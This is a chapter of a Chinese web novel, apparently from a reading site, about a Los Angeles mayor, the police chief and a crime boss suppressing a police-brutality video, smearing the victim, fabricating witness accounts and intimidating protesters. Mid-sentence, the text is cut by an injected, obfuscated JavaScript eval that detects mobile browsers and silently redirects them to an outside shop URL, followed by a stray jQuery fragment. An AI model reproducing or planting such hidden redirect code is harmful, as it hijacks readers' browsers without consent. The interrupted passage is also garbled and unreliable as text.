随着新闻和舆论的进一步发酵，市长办公室的气氛越来越紧绷。
皮特·布朗坐在大班椅上，盯着桌面上的录像带拷贝，脸色阴沉得能滴出水。
他刚在费尔法克斯家的慈善晚宴上正式向费尔法克斯家宣战，转头就撞上个这么烫手的山芋！
这事要是继续闹大，他这个现任市长首当其冲，支持率得直接跳水。
底下真是养了一帮废物！
“接哈兰·沃克的电话。”
他抄起内线，脸色无比阴沉，“另外联系KTLA台长，告诉他们，这段视频立刻给我停播，不准再扩散半分。
本地所有媒体统一口径：嫌疑人超速拒捕、先动手袭警，警方是合法执法。让司法团队连夜出定性报告，明早通稿必须铺满所有媒体平台！”
洛杉矶警局长哈兰·沃克接到指令，当天夜里紧急召开了临时发布会，当场亮出艾伦·布鲁的酒驾和闯红灯记录，一口咬定这人“暴力袭警，威胁警员生命安全”，四个警察的行为“完全符合执法规范”。
很快，本地媒体齐刷刷闭了嘴，KTLA火速撤下原始视频，后面的报道全换了调子，清一色替警方说话。
远在华盛顿国会山的威廉·费尔法克斯，次日凌晨就收到了团队发来的简报。他快速扫过布朗团队的通稿，灰色眼眸里闪过一丝锐利。
“想捂住所有人的嘴？果然被阿尔说中了。”
他对着电话那头的幕僚长冷笑一声，“把视频备份寄到ABC、NBC、CNN，再附上近三年LAPD暴力执法投诉数据、黑人社区的申诉记录。我们不要亲自下场表态，只需把事实摆到全国观众面前。布朗想把事儿摁死在洛杉矶？那我们就帮他闹到全美都知道。”
费尔法克斯家族在媒体圈经营了几十年，人脉渠道早就铺得四通八达。
不到24小时，这段81秒的视频直接冲上了全国电视台黄金档，从西海岸一路扩散至遍全美。
ABC早间新闻循环放片段，CNN请民权领袖、法学专家轮番辩论，舆论一边倒地骂洛杉矶警察滥用暴力。
《洛杉矶时报》紧跟着出了民调，92%的受访观众都觉得警察用了过度暴力，“系统性种族歧视”的骂声铺天盖地。
市长办公室的内线电话此起彼伏地响成一片，吵得人太阳穴突突直跳。
秘书捧着刚打印出来的民调简报快步走进来，她紧张地咽了咽口水，小心翼翼地：
“布朗先生，市民投诉热线已经被打爆了，大家都在骂我们和警局沆瀣一气，包庇警察暴力执法。南洛杉矶已经有两千多人往市政厅方向聚集，人数还在涨。您的支持率较昨天下降了5个百分点……”
皮特·布朗听得额头青筋直爆，他愤怒地把手里的文件狠狠掼在办公桌上，咬着后槽牙冷声下令：“通知所有核心人员，20分钟后小会议室开会，一个都不准缺席！”
他刚要迈步往会议室走，办公桌上那部极少响起的私人专线忽然叮铃铃响了起来。
皮特眉头拧成疙瘩，接起电话，那头传来米奇·洛克副手的声音：
“布朗市长，洛克先生听说您这边遇上了点麻烦。大家是一条船上的人，他愿意搭把手。旗下的传媒渠道、社区关系，您都可以敞开用。”
皮特眼神暗了暗。他当然清楚洛克的“渠道”是什么路数——都是上不了台面的手段，脏是脏了点，但对付乱局最管用。
他沉默片刻，最终只从喉咙里挤出两个字：“知道了。”
电话挂断的瞬间，他眼底最后一点犹豫也散得干干净净。都到了火烧眉毛的地步，脸面、规矩全是虚的，先把这把火摁下去再说。
次日天刚亮，洛杉矶警局正式启动全套公关预案。
先是以“避免煽动群体对立、干扰司法公正”为由，向各地所有媒体发了公函，勒令全平台下架那段81秒执法视频，禁止循环播放暴力画面。
接着公关团队通过合作的媒体报刊散发艾伦·布鲁的“完整黑料”：年少时的商店偷窃记录、两年前的酒驾缓刑案底，连他八竿子打不着的远房表叔十年前的贩毒记录都被挖了出来。
一些电台更是见缝插针地不断提及“劣迹青年违法在先，且率先袭警”的叙事，一线警员的专访轮番上线，字字句句都在强调执勤风险，把暴力执法包装成了“合理自卫”。
暗地里，洛克集团迅速运作起来。
洛克手里掌控的街头八卦小报和社区调频电台，当天就全马力开动。
不光把艾伦·布鲁的黑料添油加醋印得铺天盖地，还凭空捏造出好几份“路人目击证词”，说得有鼻子有眼，声称亲眼看见艾伦·布鲁先挥拳砸了警员，车里还藏了毒品。
这些小道消息顺着便利店、洗衣房、地下酒吧快速传遍底层社区，真真假假混在一块儿，不少本来义愤填膺的普通人看着听着，心里也慢慢犯了嘀咕。
与此同时，一些小有名气的“圈内人士”也相继发声。
几个常演警匪片的硬汉配角，在上深夜脱口秀时，聊着新戏聊着聊着就“无意”中扯到拍戏经历
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17904729|209455||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
：
有的说上个月在南洛杉矶拍外景，剧组的道具箱都被小混混撬了，连备用的道具枪都差点被偷走；还有人说自己深夜收工回家，在停车场差点被人拦了，得亏跑得快。
末了都叹口气，说“这几年治安是越来越差，半大孩子不学好，成群结队在街上晃，警察也难干”。
连本地最火的夜间电台主持人，都在节目里插科打诨吐槽，说南洛杉矶的警察难干，天天跟亡命徒打交道，换自己上去说不定下手更重。
还有几个小有名气的专栏作者，接连发了好几篇“客观”分析，说拒捕袭警的人本就容易失控，警察应激反应下没个轻重，其实也算行业常态。
这些话没一句是替暴力执法辩解的，甚至还装模作样骂两句警察行事粗暴，可话里话外都在传递一个信息：是治安不行、刁民太凶，警察才会反应过度。
轻飘飘几句话，就把“警察无故施暴”的核心矛盾，悄悄扭成了“治安太差所以执法从严”的无奈现实。
普通听众听着觉得有理，不知不觉就被带了节奏，对LAPD的抵触自然淡了几分。
而那些抗议队伍里，最有号召力的几个人，也纷纷遭遇了各种各样的“意外”：
有人深夜回家，发现家门口被扔了死老鼠，门缝里塞着恐吓信，字里行间全是对他老婆孩子的威胁；有人第二天照常去上班，老板突然找了个莫须有的借口把他开了。
有人出门买个菜，却差点被车撞成残废。
大家都不是傻子，明眼人都知道他们遭到报复了，如果再继续抗议下去，谁知道等待他们的会是什么。
于是乎，本来数千人的抗议队伍，没几天就散了一小半。
剩下的人也人心惶惶，游行的时候口号都喊得没那么齐整了。没人想因为出头，把一家子都赔进去。
这套明里暗里的组合拳打下来，洛杉矶的舆论风向肉眼可见地变了。
原本一边倒谴责警察暴力的声音里，渐渐冒出了越来越多对立的论调。
有人振振有词：“他自己就不是什么好人，警察下手重点怎么了？不反抗能挨揍吗？”
有人替警察叫屈：“警察也是人，也会死会受伤，谁知道那人身上有没有枪？”
支持警方的保守派和谴责暴力的民权派吵得不可开交，报纸社论、电台热线、街头巷尾全是争论，整个洛杉矶的舆论直接裂成了两半。
南洛杉矶的小规模游行还在继续，人们举着“停止暴力执法”的牌子走上街头，但始终没形成更大的规模。